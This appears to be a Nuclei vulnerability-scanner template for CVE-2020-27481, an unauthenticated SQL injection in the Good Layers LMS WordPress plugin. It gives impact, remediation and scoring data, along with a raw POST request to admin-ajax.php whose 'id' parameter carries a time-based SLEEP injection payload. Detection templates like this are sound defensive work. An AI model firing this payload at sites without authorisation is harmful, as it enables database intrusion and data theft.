id: CVE-2020-27481 info: name: Good Layers LMS Plugin <= 2.1.4 - SQL Injection author: edoardottt severity: critical description: | An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of "wp_ajax_nopriv" call in WordPress, which allows any unauthenticated user to get access to the function "gdlr_lms_cancel_booking" where POST Parameter "id" was sent straight into SQL query without sanitization. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. remediation: | Upgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/652eaef8-5a3c-4a2d-ac60-b5414565c397 - https://gist.github.com/0xx7/a7aaa8b0515139cf7e30c808c8d54070 - https://nvd.nist.gov/vuln/detail/CVE-2020-27481 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-27481 cwe-id: CWE-89 epss-score: 0.12857 epss-percentile: 0.94961 cpe: cpe:2.3:a:goodlayers:good_learning_management_system:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: goodlayers product: good_learning_management_system framework: wordpress tags: cve,cve2020,goodlayerslms,sqli,wpscan,goodlayers,wordpress http: - raw: - | @timeout: 15s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV) matchers: - type: dsl dsl: - "duration>=6" - "status_code == 200" - "contains(body, 'goodlayers-lms') || contains(body, 'goodlms')" condition: and # digest: 4a0a00473045022100838e205274d6592ebebcc4ab9b689fd6d05ec245b61cb0f69cff831152ea32dd02203fc10829d7d36c26e62df66914a28f76aea1fb34c5f7162abe66805dbf74f212:922c64590222798bb761d5b6d8e72950